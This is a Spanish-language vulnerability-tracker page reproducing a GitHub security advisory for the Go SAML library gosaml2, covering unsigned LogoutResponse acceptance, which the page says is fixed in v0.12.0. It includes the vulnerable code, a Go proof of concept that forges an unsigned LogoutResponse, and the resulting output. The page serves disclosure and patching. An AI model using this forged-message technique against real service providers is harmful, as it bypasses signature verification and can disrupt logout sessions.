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Advisory · GitHub · Go · github.com/russellhaering/gosaml2

GHSA-VV4X-5GVR-CHH8

Unsigned SAML LogoutResponse acceptance (incomplete fix for GHSA-pcgw-qcv5-h8ch)

Parche disponible
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CVSS 3.1
5.3
Media
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -14 d de la divulgación
Exposición93 dDesde la divulgación, 19 ago 2026, 12:42 a. m.
Detección93 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v0.12.0
Monitoreo
Detectada +1
5 ago 26
19 ago 26
20 nov 26
5 ago 26
1 sept 26
27 sept 26
24 oct 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche v0.12.0 github.com/russellhaering/gosaml2 · -14 d desde divulgación
Divulgación Publicada GHSA-VV4X-5GVR-CHH8 divulgada · CVSS 5.3 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Unsigned SAML LogoutResponse Acceptance (Incomplete Fix for GHSA-pcgw-qcv5-h8ch)

Summary

The fix for unsigned LogoutRequest acceptance (commit 7159bbe, GHSA-pcgw-qcv5-h8ch) was not applied to `ValidateEncodedLogoutResponsePOST`. When `SkipSignatureValidation` is false and a LogoutResponse has no XML signature, the code silently falls through and accepts the unverified response.

The same issue was reported independently by @tonghuaroot, whose separate report is merged into this advisory.

Details

In `decode_response.go:556-567`, the LogoutResponse signature validation has the same vulnerable pattern that was fixed in the LogoutRequest handler:

if !sp.SkipSignatureValidation {
el, err = sp.validateElementSignature(el)
if err == dsig.ErrMissingSignature {
// Unfortunately we just blew away our Response
el = doc.Root()
// Falls through -- unsigned response accepted
} else if err != nil {
return nil, err
} else if el == nil {
return nil, fmt.Errorf("missing transformed logout response")
} else {
responseSignatureValidated = true
}
}

Compare with the fixed LogoutRequest at `decode_logout_request.go:58-60`:

if err == dsig.ErrMissingSignature {
return nil, fmt.Errorf("logout request is not signed")
}

The `responseSignatureValidated` flag is set to false (line 555 default) but the function returns the response without error at line 582. `ValidateDecodedLogoutResponse` at `validate.go:247` does not check the `SignatureValidated` field.

Proof of Concept

package main

import (
"encoding/base64"
"fmt"
saml2 "github.com/russellhaering/gosaml2"
dsig "github.com/russellhaering/goxmldsig"
)

func main() {
sp := &saml2.SAMLServiceProvider{
IdentityProviderIssuer: "https://idp.example.com",
ServiceProviderSLOURL: "https://sp.example.com/slo",
IDPCertificateStore: &dsig.MemoryX509CertificateStore{},
SkipSignatureValidation: false,
}

unsigned := `<samlp:LogoutResponse xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_fake" Version="2.0" IssueInstant="2026-03-26T00:00:00Z"
Destination="https://sp.example.com/slo" InResponseTo="_req">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
</samlp:LogoutResponse>`

resp, err := sp.ValidateEncodedLogoutResponsePOST(
base64.StdEncoding.EncodeToString([]byte(unsigned)))

if err != nil {
fmt.Printf("Rejected: %v\n", err)
} else {
fmt.Printf("ACCEPTED: SignatureValidated=%v Issuer=%s\n",
resp.SignatureValidated, resp.Issuer.Value)
}
}

Output:

ACCEPTED: SignatureValidated=false Issuer=https://idp.example.com

The unsigned LogoutResponse is accepted. For comparison, the same test with LogoutRequest correctly returns: `logout request is not signed`.

Impact

An attacker without any cryptographic material can forge SAML LogoutResponse messages to:

  • Confirm session termination that did not occur (SLO protocol manipulation)
  • Inject arbitrary status codes and session indexes
  • Disrupt the Single Logout flow between SP and IdP

While lower severity than the LogoutRequest vulnerability (which allows an attacker to trigger logout), it is a signature verification bypass in a security-critical protocol handler and should have the same fix applied.

Suggested Fix

if err == dsig.ErrMissingSignature {
return nil, fmt.Errorf("logout response is not signed")
}

Patch

Fixed in v0.12.0 by https://github.com/russellhaering/gosaml2/pull/282, which applies the suggested fix above: `ValidateEncodedLogoutResponsePOST` now returns `logout response is not signed` on `dsig.ErrMissingSignature` instead of falling through, mirroring commit 7159bbe on the LogoutRequest side.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
github.com/russellhaering/gosaml2≤ 0.11.0
0.11.0
v0.12.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/russellhaering/gosaml2
Corregida v0.12.0 -14 d v0.12.0 no afectada
Versiones corregidasv0.12.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/russellhaering/gosaml2/security/advisories/GHSA-vv4x-5gvr-chh8

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.